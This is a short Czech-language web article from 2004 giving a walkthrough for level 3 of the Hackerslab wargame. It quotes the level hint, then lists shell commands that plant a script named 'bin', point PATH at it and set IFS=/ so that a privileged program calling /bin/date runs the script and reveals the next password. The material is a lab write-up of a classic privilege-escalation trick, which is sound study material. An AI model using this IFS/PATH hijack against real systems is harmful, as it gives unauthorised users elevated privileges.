Zpět na seznam článků     Číst komentáře (0)     Verze pro tisk

Návod na Hackerslab - level 3

Autor: Kub@z   
20.8.2004

Návod na další level...


Nápověda:

Steven is known for his tardiness, he is never on time!
He is aware of this problem and knows that he has to do
something about it. So, he programmed a simple C utility
by using the `date` command that displays the current date
in YYYY-MM-DD format every time he logs on to his computer.
He put it in a secret directory because he was worried about
others seeing this. Find it out and get the password for the
next level.


Řešení:

Soubor je /usr/man/pt_BR/man8/today. Jak zjistíte, není v něm žádná
chyba. Žádný parametr navíc, prostě nic. Ale...: :)

A tak jsem logicky (s nápovědou zkušenějších :) došel k tomuhle postupu:

[level3@drill level3]$ cd tmp
[level3@drill tmp]$ vi bin

(vytvoříme si script bin, napište do něj:)
/bin/pass
(stiskněte esc a napište ":wq")
[level3@drill tmp]$ chmod +x bin
[level3@drill tmp]$ PATH=/home/level3/tmp (cesta k našemu bin)
[level3@drill tmp]$ export PATH
[level3@drill tmp]$ IFS=/
[level3@drill tmp]$ export IFS
[level3@drill tmp]$ /usr/man/pt_BR/man8/today


A heslo je tady.
Program spouští "/bin/date". Když nastavíte export "IFS=/", tak to vezme jako
oddělovač mezeru, takže to vlastně spustí "bin date" místo "/bin/date" a
díky našemu nastavení PATH to spustí náš scriptík.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2/1

1  2  3  4  5    
(známkování jako ve škole)